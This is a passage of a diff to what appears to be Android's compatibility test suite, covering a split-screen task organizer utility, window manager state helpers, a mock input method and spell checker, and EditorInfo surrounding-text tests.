+ mPrimaryCookie = null;
+ mPrimaryChildrenTaskIds.clear();
+ deleteRootTask(mRootSecondary.getToken());
+ mRootSecondary = null;
+ mSecondaryCookie = null;
+ mSecondaryChildrenTaskIds.clear();
+
+ super.unregisterOrganizer();
+ });
+ }
}
void putTaskInSplitPrimary(int taskId) {
- registerOrganizerIfNeeded();
- ActivityManager.RunningTaskInfo taskInfo = getTaskInfo(taskId);
- final WindowContainerTransaction t = new WindowContainerTransaction();
- t.setBounds(taskInfo.getToken(), null);
- t.reparent(taskInfo.getToken(), mRootPrimary.getToken(), true /* onTop */);
- applyTransaction(t);
- }
-
- void dismissedSplitScreen() {
NestedShellPermission.run(() -> {
- // Re-set default launch root.
- setLaunchRoot(Display.DEFAULT_DISPLAY, null);
+ synchronized (this) {
+ registerOrganizerIfNeeded();
+ ActivityManager.RunningTaskInfo taskInfo = getTaskInfo(taskId);
+ final WindowContainerTransaction t = new WindowContainerTransaction()
+ .setBounds(mRootPrimary.getToken(), mPrimaryBounds)
+ .setBounds(taskInfo.getToken(), null)
+ .setWindowingMode(taskInfo.getToken(), WINDOWING_MODE_UNDEFINED)
+ .reparent(taskInfo.getToken(), mRootPrimary.getToken(), true /* onTop */)
+ .reorder(mRootPrimary.getToken(), true /* onTop */);
+ applyTransaction(t);
- // Re-parent everything back to the display from the splits so that things are as they were.
- final List<ActivityManager.RunningTaskInfo> children = new ArrayList<>();
- final List<ActivityManager.RunningTaskInfo> primaryChildren =
- getChildTasks(mRootPrimary.getToken(), null /* activityTypes */);
- if (primaryChildren != null && !primaryChildren.isEmpty()) {
- children.addAll(primaryChildren);
- }
- final List<ActivityManager.RunningTaskInfo> secondaryChildren =
- getChildTasks(mRootSecondary.getToken(), null /* activityTypes */);
- if (secondaryChildren != null && !secondaryChildren.isEmpty()) {
- children.addAll(secondaryChildren);
- }
- if (children.isEmpty()) {
- return;
- }
+ waitForAndAssert(
+ o -> mPrimaryChildrenTaskIds.contains(taskId),
+ "Can't put putTaskInSplitPrimary taskId=" + taskId);
- final WindowContainerTransaction t = new WindowContainerTransaction();
- for (ActivityManager.RunningTaskInfo task : children) {
- t.reparent(task.getToken(), null /* parent */, true /* onTop */);
+ Log.e(TAG, "putTaskInSplitPrimary taskId=" + taskId);
}
- applyTransaction(t);
});
}
- /** Also completes the process of entering split mode. */
- private void processRootPrimaryTaskInfoChanged() {
- List<ActivityManager.RunningTaskInfo> children =
- getChildTasks(mRootPrimary.getToken(), null /* activityTypes */);
- final boolean hasChild = !children.isEmpty();
- if (mRootPrimaryHasChild == hasChild) return;
- mRootPrimaryHasChild = hasChild;
- if (!hasChild) return;
+ void putTaskInSplitSecondary(int taskId) {
+ NestedShellPermission.run(() -> {
+ synchronized (this) {
+ registerOrganizerIfNeeded();
+ ActivityManager.RunningTaskInfo taskInfo = getTaskInfo(taskId);
+ final WindowContainerTransaction t = new WindowContainerTransaction()
+ .setBounds(mRootSecondary.getToken(), mSecondaryBounds)
+ .setBounds(taskInfo.getToken(), null)
+ .setWindowingMode(taskInfo.getToken(), WINDOWING_MODE_UNDEFINED)
+ .reparent(taskInfo.getToken(), mRootSecondary.getToken(), true /* onTop */)
+ .reorder(mRootSecondary.getToken(), true /* onTop */);
+ applyTransaction(t);
- // Finish entering split-screen mode
+ waitForAndAssert(
+ o -> mSecondaryChildrenTaskIds.contains(taskId),
+ "Can't put putTaskInSplitSecondary taskId=" + taskId);
- // Set launch root for the default display to secondary...for no good reason...
- setLaunchRoot(DEFAULT_DISPLAY, mRootSecondary.getToken());
-
- List<ActivityManager.RunningTaskInfo> rootTasks =
- getRootTasks(DEFAULT_DISPLAY, null /* activityTypes */);
- if (rootTasks.isEmpty()) return;
- // Move all root fullscreen task to secondary split.
- final WindowContainerTransaction t = new WindowContainerTransaction();
- for (int i = rootTasks.size() - 1; i >= 0; --i) {
- final ActivityManager.RunningTaskInfo task = rootTasks.get(i);
- if (task.getConfiguration().windowConfiguration.getWindowingMode()
- == WINDOWING_MODE_FULLSCREEN) {
- t.reparent(task.getToken(), mRootSecondary.getToken(), true /* onTop */);
+ Log.e(TAG, "putTaskInSplitSecondary taskId=" + taskId);
}
+ });
+ }
+
+ void setLaunchRoot(int taskId) {
+ NestedShellPermission.run(() -> {
+ synchronized (this) {
+ final WindowContainerTransaction t = new WindowContainerTransaction()
+ .setLaunchRoot(mKnownTasks.get(taskId).getToken(),
+ CONTROLLED_WINDOWING_MODES, CONTROLLED_ACTIVITY_TYPES);
+ applyTransaction(t);
+ }
+ });
+ }
+
+ void dismissedSplitScreen() {
+ synchronized (this) {
+ NestedShellPermission.run(() -> {
+ final WindowContainerTransaction t = new WindowContainerTransaction()
+ .setLaunchRoot(
+ mRootPrimary.getToken(),
+ null,
+ null)
+ .setLaunchRoot(
+ mRootSecondary.getToken(),
+ null,
+ null)
+ .reparentTasks(
+ mRootPrimary.getToken(),
+ null /* newParent */,
+ CONTROLLED_WINDOWING_MODES,
+ CONTROLLED_ACTIVITY_TYPES,
+ true /* onTop */)
+ .reparentTasks(
+ mRootSecondary.getToken(),
+ null /* newParent */,
+ CONTROLLED_WINDOWING_MODES,
+ CONTROLLED_ACTIVITY_TYPES,
+ true /* onTop */);
+ applyTransaction(t);
+ });
}
- // Move the secondary split-forward.
- t.reorder(mRootSecondary.getToken(), true /* onTop */);
- applyTransaction(t);
+ }
+
+ void setRootPrimaryTaskBounds(Rect bounds) {
+ setTaskBounds(mRootPrimary.getToken(), bounds);
+ }
+
+ void setRootSecondaryTaskBounds(Rect bounds) {
+ setTaskBounds(mRootSecondary.getToken(), bounds);
+ }
+
+ private void setTaskBounds(WindowContainerToken container, Rect bounds) {
+ synchronized (this) {
+ NestedShellPermission.run(() -> {
+ final WindowContainerTransaction t = new WindowContainerTransaction()
+ .setBounds(container, bounds);
+ applyTransaction(t);
+ });
+ }
+ }
+
+ int getPrimarySplitTaskCount() {
+ return mPrimaryChildrenTaskIds.size();
+ }
+
+ int getSecondarySplitTaskCount() {
+ return mSecondaryChildrenTaskIds.size();
+ }
+
+ int getPrimarySplitTaskId() {
+ return mRootPrimary != null ? mRootPrimary.taskId : INVALID_TASK_ID;
+ }
+
+ int getSecondarySplitTaskId() {
+ return mRootSecondary != null ? mRootSecondary.taskId : INVALID_TASK_ID;
}
ActivityManager.RunningTaskInfo getTaskInfo(int taskId) {
- ActivityManager.RunningTaskInfo taskInfo = mKnownTasks.get(taskId);
- if (taskInfo != null) return taskInfo;
+ synchronized (this) {
+ ActivityManager.RunningTaskInfo taskInfo = mKnownTasks.get(taskId);
+ if (taskInfo != null) return taskInfo;
- final List<ActivityManager.RunningTaskInfo> rootTasks = getRootTasks(DEFAULT_DISPLAY, null);
- for (ActivityManager.RunningTaskInfo info : rootTasks) {
- addTask(info);
+ final List<ActivityManager.RunningTaskInfo> rootTasks = getRootTasks(DEFAULT_DISPLAY,
+ null);
+ for (ActivityManager.RunningTaskInfo info : rootTasks) {
+ addTask(info);
+ }
+
+ return mKnownTasks.get(taskId);
}
-
- return mKnownTasks.get(taskId);
}
@Override
public void onTaskAppeared(@NonNull ActivityManager.RunningTaskInfo taskInfo,
SurfaceControl leash) {
- if (taskInfo.hasParentTask()) {
- // Tasks with parent created by organizer are also organized now, update the surface as
- // well to prevent timeout tests when polling for Activity#hasWindowFocus.
+ synchronized (this) {
SurfaceControl.Transaction t = new SurfaceControl.Transaction();
t.setVisibility(leash, true /* visible */);
t.apply();
+
+ NestedShellPermission.run(() -> addTask(taskInfo));
}
- NestedShellPermission.run(() -> addTask(taskInfo));
}
@Override
public void onTaskVanished(@NonNull ActivityManager.RunningTaskInfo taskInfo) {
- removeTask(taskInfo);
+ synchronized (this) {
+ removeTask(taskInfo);
+ }
}
@Override
public void onTaskInfoChanged(ActivityManager.RunningTaskInfo taskInfo) {
- NestedShellPermission.run(() -> addTask(taskInfo));
+ synchronized (this) {
+ NestedShellPermission.run(() -> addTask(taskInfo));
+ }
}
private void addTask(ActivityManager.RunningTaskInfo taskInfo) {
mKnownTasks.put(taskInfo.taskId, taskInfo);
+ notifyAll();
+ if (taskInfo.hasParentTask()){
+ if (mRootPrimary != null
+ && mRootPrimary.taskId == taskInfo.getParentTaskId()) {
+ mPrimaryChildrenTaskIds.add(taskInfo.taskId);
+ } else if (mRootSecondary != null
+ && mRootSecondary.taskId == taskInfo.getParentTaskId()) {
+ mSecondaryChildrenTaskIds.add(taskInfo.taskId);
+ }
+ return;
+ }
- final int windowingMode =
- taskInfo.getConfiguration().windowConfiguration.getWindowingMode();
- if (windowingMode == WINDOWING_MODE_SPLIT_SCREEN_PRIMARY
- && (mRootPrimary == null || mRootPrimary.taskId == taskInfo.taskId)) {
+ if (mRootPrimary == null
+ && mPrimaryCookie != null
+ && taskInfo.containsLaunchCookie(mPrimaryCookie)) {
mRootPrimary = taskInfo;
- processRootPrimaryTaskInfoChanged();
- addChildTasks(taskInfo);
+ return;
}
- if (windowingMode == WINDOWING_MODE_SPLIT_SCREEN_SECONDARY
- && (mRootSecondary == null || mRootSecondary.taskId == taskInfo.taskId)) {
+ if (mRootSecondary == null
+ && mSecondaryCookie != null
+ && taskInfo.containsLaunchCookie(mSecondaryCookie)) {
mRootSecondary = taskInfo;
- addChildTasks(taskInfo);
- }
- }
-
- private void addChildTasks(ActivityManager.RunningTaskInfo taskInfo) {
- List<ActivityManager.RunningTaskInfo> children =
- getChildTasks(taskInfo.getToken(), null /* activityTypes */);
- for (ActivityManager.RunningTaskInfo child : children) {
- mKnownTasks.put(child.taskId, child);
}
}
private void removeTask(ActivityManager.RunningTaskInfo taskInfo) {
final int taskId = taskInfo.taskId;
// ignores cleanup on duplicated removal request
- if (mKnownTasks.remove(taskId) != null) {
- if (mRootPrimary != null && taskId == mRootPrimary.taskId) mRootPrimary = null;
- if (mRootSecondary != null && taskId == mRootSecondary.taskId) mRootSecondary = null;
+ if (mKnownTasks.remove(taskId) == null) {
+ return;
+ }
+ mPrimaryChildrenTaskIds.remove(taskId);
+ mSecondaryChildrenTaskIds.remove(taskId);
+
+ if ((mRootPrimary != null && taskId == mRootPrimary.taskId)
+ || (mRootSecondary != null && taskId == mRootSecondary.taskId)) {
+ unregisterOrganizerIfNeeded();
}
}
}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index 1170608..7130b9c 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -375,9 +375,7 @@
for (int i = 0; i < display.mRootTasks.size(); i++) {
ActivityTask task = display.mRootTasks.get(i);
mRootTasks.add(task);
- if (task.mResumedActivity != null) {
- mResumedActivitiesInStacks.add(task.mResumedActivity);
- }
+ addResumedActivity(task);
}
if (display.mDefaultPinnedStackBounds != null) {
@@ -386,6 +384,17 @@
}
}
+ private void addResumedActivity(ActivityTask task) {
+ final int numChildTasks = task.mTasks.size();
+ if (numChildTasks > 0) {
+ for (int i = numChildTasks - 1; i >=0; i--) {
+ addResumedActivity(task.mTasks.get(i));
+ }
+ } else if (task.mResumedActivity != null) {
+ mResumedActivitiesInStacks.add(task.mResumedActivity);
+ }
+ }
+
private void parseSysDumpProto(byte[] sysDump) throws InvalidProtocolBufferNanoException {
reset();
@@ -816,14 +825,19 @@
}
public ActivityTask getTaskByActivity(ComponentName activityName) {
- return getTaskByActivity(activityName, WINDOWING_MODE_UNDEFINED);
+ return getTaskByActivity(activityName, WINDOWING_MODE_UNDEFINED, -1);
}
- public ActivityTask getTaskByActivity(ComponentName activityName, int windowingMode) {
+ public ActivityTask getTaskByActivity(ComponentName activityName, int excludeTaskId) {
+ return getTaskByActivity(activityName, WINDOWING_MODE_UNDEFINED, excludeTaskId);
+ }
+
+ private ActivityTask getTaskByActivity(ComponentName activityName, int windowingMode,
+ int excludeTaskId) {
for (ActivityTask stack : mRootTasks) {
if (windowingMode == WINDOWING_MODE_UNDEFINED
|| windowingMode == stack.getWindowingMode()) {
- Activity activity = stack.getActivity(activityName);
+ Activity activity = stack.getActivity(activityName, excludeTaskId);
if (activity != null) return activity.task;
}
}
@@ -1303,6 +1317,10 @@
return mTaskId == mRootTaskId;
}
+ boolean isLeafTask() {
+ return mTasks.size() == 0;
+ }
+
public int getRootTaskId() {
return mRootTaskId;
}
@@ -1368,6 +1386,13 @@
return getActivity((activity) -> activity.name.equals(fullName));
}
+ public Activity getActivity(ComponentName activityName, int excludeTaskId) {
+ final String fullName = getActivityName(activityName);
+ return getActivity((activity) ->
+ activity.task.mTaskId != excludeTaskId
+ && activity.name.equals(fullName));
+ }
+
boolean containsActivity(ComponentName activityName) {
return getActivity(activityName) != null;
}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
index 99f6bb2..2f809b2 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
@@ -295,6 +295,12 @@
}, windowName + "'s surface is disappeared");
}
+ void waitAndAssertWindowSurfaceShown(String windowName, boolean shown) {
+ assertTrue(
+ waitForWithAmState(state -> state.isWindowSurfaceShown(windowName) == shown,
+ windowName + "'s isWindowSurfaceShown to return " + shown));
+ }
+
/** A variant of waitForWithAmState with different parameter order for better Kotlin interop. */
public boolean waitForWithAmState(String message, Predicate<WindowManagerState> waitCondition) {
return waitForWithAmState(waitCondition, message);
diff --git a/tests/inputmethod/AndroidTest.xml b/tests/inputmethod/AndroidTest.xml
index ab81fd4..10e5d37 100644
--- a/tests/inputmethod/AndroidTest.xml
+++ b/tests/inputmethod/AndroidTest.xml
@@ -79,10 +79,10 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsInputMethodTestCases.apk" />
</target_preparer>
+ <!-- Enabling change id ALLOW_TEST_API_ACCESS allows that package to access @TestApi methods -->
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <!-- Disable hidden API checking, see b/166236554 -->
- <option name="run-command" value="settings put global hidden_api_policy 1" />
- <option name="teardown-command" value="settings delete global hidden_api_policy" />
+ <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS com.android.cts.mockime" />
+ <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS com.android.cts.mockime" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.view.inputmethod.cts" />
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
index 28f5c5a..5f88d27 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
@@ -25,7 +25,6 @@
import java.util.Optional;
import java.util.concurrent.TimeoutException;
-import java.util.function.BooleanSupplier;
import java.util.function.Predicate;
/**
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
index 21f1dc5..01e4a82 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
@@ -259,6 +259,9 @@
final boolean enabled = command.getExtras().getBoolean("enabled");
return getCurrentInputConnection().reportFullscreenMode(enabled);
}
+ case "performSpellCheck": {
+ return getCurrentInputConnection().performSpellCheck();
+ }
case "performPrivateCommand": {
final String action = command.getExtras().getString("action");
final Bundle data = command.getExtras().getBundle("data");
@@ -468,7 +471,7 @@
.detectIncorrectContextUse()
.penaltyLog()
.penaltyListener(Runnable::run,
- v -> getTracer().onStrictModeViolated(() -> {}))
+ v -> getTracer().onStrictModeViolated(() -> { }))
.build());
}
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
index 40a89a3..56d798f 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
@@ -20,19 +20,16 @@
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
import android.app.UiAutomation;
import android.app.compat.CompatChanges;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
-import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.PackageManager;
-import android.inputmethodservice.InputMethodService;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
@@ -769,6 +766,20 @@
}
/**
+ * Lets {@link MockIme} to call {@link InputConnection#performSpellCheck()}.
+ *
+ * <p>This triggers {@code getCurrentInputConnection().performSpellCheck()}.</p>
+ *
+ * @return {@link ImeCommand} object that can be passed to
+ * {@link ImeEventStreamTestUtils#expectCommand(ImeEventStream, ImeCommand, long)} to
+ * wait until this event is handled by {@link MockIme}
+ */
+ @NonNull
+ public ImeCommand callPerformSpellCheck() {
+ return callCommandInternal("performSpellCheck", new Bundle());
+ }
+
+ /**
* Lets {@link MockIme} to call {@link InputConnection#clearMetaKeyStates(int)} with the given
* parameters.
*
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
index 144eee0..b1d8554 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
@@ -17,6 +17,7 @@
package com.android.cts.mockime;
import android.graphics.Bitmap;
+import android.graphics.Color;
import androidx.annotation.AnyThread;
import androidx.annotation.ColorInt;
@@ -28,6 +29,13 @@
*/
public final class Watermark {
/**
+ * Tolerance level between the expected color and the actual color in each color channel.
+ *
+ * <p>See Bug 174534092 about why we ended up having this.</p>
+ */
+ private static final int TOLERANCE = 4;
+
+ /**
* A utility class that represents A8R8G8B bitmap as an integer array.
*/
private static final class BitmapImage {
@@ -96,15 +104,30 @@
}
/**
- * Checks if the same image can be found in the specified {@link BitmapImage}
+ * Compares two given pixels to determine whether those two pixels are considered to be
+ * the same within {@link #TOLERANCE}.
+ *
+ * @param lhs a color integer to be compared.
+ * @param rhs another color integer to be compared.
+ * @return {@true} if two given pixels are the same within {@link #TOLERANCE}.
+ */
+ private static boolean robustMatchInternal(@ColorInt int lhs, @ColorInt int rhs) {
+ return lhs == rhs || (Math.abs(Color.red(lhs) - Color.red(rhs)) <= TOLERANCE
+ && Math.abs(Color.green(lhs) - Color.green(rhs)) <= TOLERANCE
+ && Math.abs(Color.blue(lhs) - Color.blue(rhs)) <= TOLERANCE);
+ }
+
+ /**
+ * Checks if the same image can be found in the specified {@link BitmapImage} within
+ * within {@link #TOLERANCE}.
*
* @param targetImage {@link BitmapImage} to be checked.
* @param offsetX X offset in the {@code targetImage} used when comparing.
* @param offsetY Y offset in the {@code targetImage} used when comparing.
- * @return
+ * @return {@true} if two given images are the same within {@link #TOLERANCE}.
*/
@AnyThread
- boolean match(@NonNull BitmapImage targetImage, int offsetX, int offsetY) {
+ boolean robustMatch(@NonNull BitmapImage targetImage, int offsetX, int offsetY) {
final int targetWidth = targetImage.getWidth();
final int targetHeight = targetImage.getHeight();
@@ -118,7 +141,8 @@
if (targetY < 0 || targetHeight <= targetY) {
return false;
}
- if (targetImage.getPixel(targetX, targetY) != getPixel(x, y)) {
+ if (!robustMatchInternal(
+ targetImage.getPixel(targetX, targetY), getPixel(x, y))) {
return false;
}
}
@@ -231,7 +255,7 @@
// Search from the bottom line with an assumption that the IME is shown at the bottom.
for (int offsetY = targetImage.getHeight() - 1; offsetY >= 0; --offsetY) {
for (int offsetX = 0; offsetX < targetImage.getWidth(); ++offsetX) {
- if (sImage.match(targetImage, offsetX, offsetY)) {
+ if (sImage.robustMatch(targetImage, offsetX, offsetY)) {
return true;
}
}
diff --git a/tests/inputmethod/mockspellchecker/res/xml/spellchecker.xml b/tests/inputmethod/mockspellchecker/res/xml/spellchecker.xml
index 8820f29..18f96ada 100644
--- a/tests/inputmethod/mockspellchecker/res/xml/spellchecker.xml
+++ b/tests/inputmethod/mockspellchecker/res/xml/spellchecker.xml
@@ -20,5 +20,6 @@
<subtype
android:label="English"
android:subtypeLocale="en"
+ android:languageTag="en-US"
/>
</spell-checker>
diff --git a/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellChecker.kt b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellChecker.kt
index ee16ce4..f013021 100644
--- a/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellChecker.kt
+++ b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellChecker.kt
@@ -45,14 +45,10 @@
}
override fun createSession(): Session = withLog("MockSpellChecker.createSession") {
- val configuration = MockSpellCheckerConfiguration.parseFrom(
- SharedPrefsProvider.get(contentResolver, KEY_CONFIGURATION))
- return MockSpellCheckerSession(configuration)
+ return MockSpellCheckerSession()
}
- private inner class MockSpellCheckerSession(
- val configuration: MockSpellCheckerConfiguration
- ) : SpellCheckerService.Session() {
+ private inner class MockSpellCheckerSession : SpellCheckerService.Session() {
override fun onCreate() = withLog("MockSpellCheckerSession.onCreate") {
}
@@ -63,6 +59,8 @@
): SuggestionsInfo = withLog(
"MockSpellCheckerSession.onGetSuggestions: ${textInfo?.text}") {
if (textInfo == null) return emptySuggestionsInfo()
+ val configuration = MockSpellCheckerConfiguration.parseFrom(
+ SharedPrefsProvider.get(contentResolver, KEY_CONFIGURATION))
return configuration.suggestionRulesList
.find { it.match == textInfo.text }
?.let { SuggestionsInfo(it.attributes, it.suggestionsList.toTypedArray()) }
diff --git a/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellCheckerClient.kt b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellCheckerClient.kt
index 90c9fd5..00aef45 100644
--- a/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellCheckerClient.kt
+++ b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellCheckerClient.kt
@@ -23,13 +23,9 @@
*
* <p>This class should be used by test apps.
*/
-class MockSpellCheckerClient(
- private val context: Context,
- private val configuration: MockSpellCheckerConfiguration
-)
- : AutoCloseable {
+class MockSpellCheckerClient(private val context: Context) : AutoCloseable {
- fun initialize() {
+ fun updateConfiguration(configuration: MockSpellCheckerConfiguration) {
SharedPrefsProvider.put(
context.contentResolver, KEY_CONFIGURATION, configuration.toByteArray())
}
@@ -42,8 +38,8 @@
@JvmStatic
fun create(context: Context, configuration: MockSpellCheckerConfiguration):
MockSpellCheckerClient {
- val client = MockSpellCheckerClient(context, configuration)
- client.initialize()
+ val client = MockSpellCheckerClient(context)
+ client.updateConfiguration(configuration)
return client
}
}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java
index 0492189..69c4111 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java
@@ -18,6 +18,7 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -31,6 +32,7 @@
import android.util.StringBuilderPrinter;
import android.view.inputmethod.EditorInfo;
import android.view.inputmethod.InputConnection;
+import android.view.inputmethod.SurroundingText;
import androidx.test.filters.SmallTest;
import androidx.test.runner.AndroidJUnit4;
@@ -91,7 +93,7 @@
assertEquals(info.inputType, targetInfo.inputType);
assertEquals(info.packageName, targetInfo.packageName);
assertEquals(info.privateImeOptions, targetInfo.privateImeOptions);
- assertTrue(TextUtils.equals(testInitialText, concateInitialSurroundingText(targetInfo)));
+ assertTrue(TextUtils.equals(testInitialText, concatInitialSurroundingText(targetInfo)));
assertEquals(info.hintText.toString(), targetInfo.hintText.toString());
assertEquals(info.actionLabel.toString(), targetInfo.actionLabel.toString());
assertEquals(info.label.toString(), targetInfo.label.toString());
@@ -147,7 +149,8 @@
assertExpectedTextLength(info,
/* expectBeforeCursorLength= */null,
/* expectSelectionLength= */null,
- /* expectAfterCursorLength= */null);
+ /* expectAfterCursorLength= */null,
+ /* expectSurroundingText= */null);
// Web password type
info.inputType = (EditorInfo.TYPE_CLASS_TEXT | EditorInfo.TYPE_TEXT_VARIATION_WEB_PASSWORD);
@@ -157,7 +160,8 @@
assertExpectedTextLength(info,
/* expectBeforeCursorLength= */null,
/* expectSelectionLength= */null,
- /* expectAfterCursorLength= */null);
+ /* expectAfterCursorLength= */null,
+ /* expectSurroundingText= */null);
// Number password type
info.inputType = (EditorInfo.TYPE_CLASS_NUMBER | EditorInfo.TYPE_NUMBER_VARIATION_PASSWORD);
@@ -167,7 +171,8 @@
assertExpectedTextLength(info,
/* expectBeforeCursorLength= */null,
/* expectSelectionLength= */null,
- /* expectAfterCursorLength= */null);
+ /* expectAfterCursorLength= */null,
+ /* expectSurroundingText= */null);
}
@Test
@@ -179,11 +184,13 @@
info.initialSelEnd = info.initialSelStart + selLength;
final int expectedTextBeforeCursorLength = 0;
final int expectedTextAfterCursorLength = testText.length() - selLength;
+ final SurroundingText expectedSurroundingText =
+ new SurroundingText(testText, info.initialSelStart, info.initialSelEnd, 0);
info.setInitialSurroundingText(testText);
assertExpectedTextLength(info, expectedTextBeforeCursorLength, selLength,
- expectedTextAfterCursorLength);
+ expectedTextAfterCursorLength, expectedSurroundingText);
}
@Test
@@ -195,11 +202,13 @@
info.initialSelEnd = testText.length();
final int expectedTextBeforeCursorLength = testText.length() - selLength;
final int expectedTextAfterCursorLength = 0;
+ final SurroundingText expectedSurroundingText =
+ new SurroundingText(testText, info.initialSelStart, info.initialSelEnd, 0);
info.setInitialSurroundingText(testText);
assertExpectedTextLength(info, expectedTextBeforeCursorLength, selLength,
- expectedTextAfterCursorLength);
+ expectedTextAfterCursorLength, expectedSurroundingText);
}
@Test
@@ -211,15 +220,17 @@
info.initialSelEnd = info.initialSelStart + selLength;
final int expectedTextBeforeCursorLength = 0;
final int expectedTextAfterCursorLength = testText.length();
+ final SurroundingText expectedSurroundingText =
+ new SurroundingText(testText, info.initialSelStart, info.initialSelEnd, 0);
info.setInitialSurroundingText(testText);
assertExpectedTextLength(info, expectedTextBeforeCursorLength, selLength,
- expectedTextAfterCursorLength);
+ expectedTextAfterCursorLength, expectedSurroundingText);
}
@Test
- public void testInitialSurroundingText_overSizedSeleciton_keepsBeforeAfterTextValid() {
+ public void testInitialSurroundingText_overSizedSelection_keepsBeforeAfterTextValid() {
final EditorInfo info = new EditorInfo();
final CharSequence testText = createTestText(OVER_SIZED_TEXT_LENGTH);
final int selLength = OVER_SIZED_TEXT_LENGTH - 2;
@@ -227,11 +238,21 @@
info.initialSelEnd = info.initialSelStart + selLength;
final int expectedTextBeforeCursorLength = 1;
final int expectedTextAfterCursorLength = 1;
+ final int offset = info.initialSelStart - expectedTextBeforeCursorLength;
+ final CharSequence beforeCursor = testText.subSequence(offset,
+ offset + expectedTextBeforeCursorLength);
+ final CharSequence afterCursor = testText.subSequence(info.initialSelEnd,
+ testText.length());
+ final CharSequence surroundingText = TextUtils.concat(beforeCursor, afterCursor);
+ final SurroundingText expectedSurroundingText =
+ new SurroundingText(surroundingText, info.initialSelStart, info.initialSelStart, 0);
info.setInitialSurroundingText(testText);
assertExpectedTextLength(info, expectedTextBeforeCursorLength,
- /* expectSelectionLength= */null, expectedTextAfterCursorLength);
+ /* expectSelectionLength= */null, expectedTextAfterCursorLength,
+ expectedSurroundingText);
+
}
@Test
@@ -250,6 +271,12 @@
final CharSequence expectedTextAfterCursor = createExpectedText(
info.initialSelEnd - prefixString.length(),
originalText.length() - info.initialSelEnd);
+ final SurroundingText expectedSurroundingText = new SurroundingText(
+ TextUtils.concat(expectedTextBeforeCursor, expectedSelectedText,
+ expectedTextAfterCursor),
+ info.initialSelStart - prefixString.length(),
+ info.initialSelStart - prefixString.length() + selLength,
+ prefixString.length());
info.setInitialSurroundingSubText(subText, prefixString.length());
@@ -261,11 +288,21 @@
assertTrue(TextUtils.equals(expectedTextAfterCursor,
info.getInitialTextAfterCursor(REQUEST_LONGEST_AVAILABLE_TEXT,
InputConnection.GET_TEXT_WITH_STYLES)));
+ SurroundingText surroundingText = info.getInitialSurroundingText(
+ REQUEST_LONGEST_AVAILABLE_TEXT,
+ REQUEST_LONGEST_AVAILABLE_TEXT,
+ InputConnection.GET_TEXT_WITH_STYLES);
+ assertNotNull(surroundingText);
+ assertTrue(TextUtils.equals(expectedSurroundingText.getText(), surroundingText.getText()));
+ assertEquals(expectedSurroundingText.getSelectionStart(),
+ surroundingText.getSelectionStart());
+ assertEquals(expectedSurroundingText.getSelectionEnd(), surroundingText.getSelectionEnd());
}
private static void assertExpectedTextLength(EditorInfo editorInfo,
Integer expectBeforeCursorLength, Integer expectSelectionLength,
- Integer expectAfterCursorLength) {
+ Integer expectAfterCursorLength,
+ SurroundingText expectSurroundingText) {
final CharSequence textBeforeCursor =
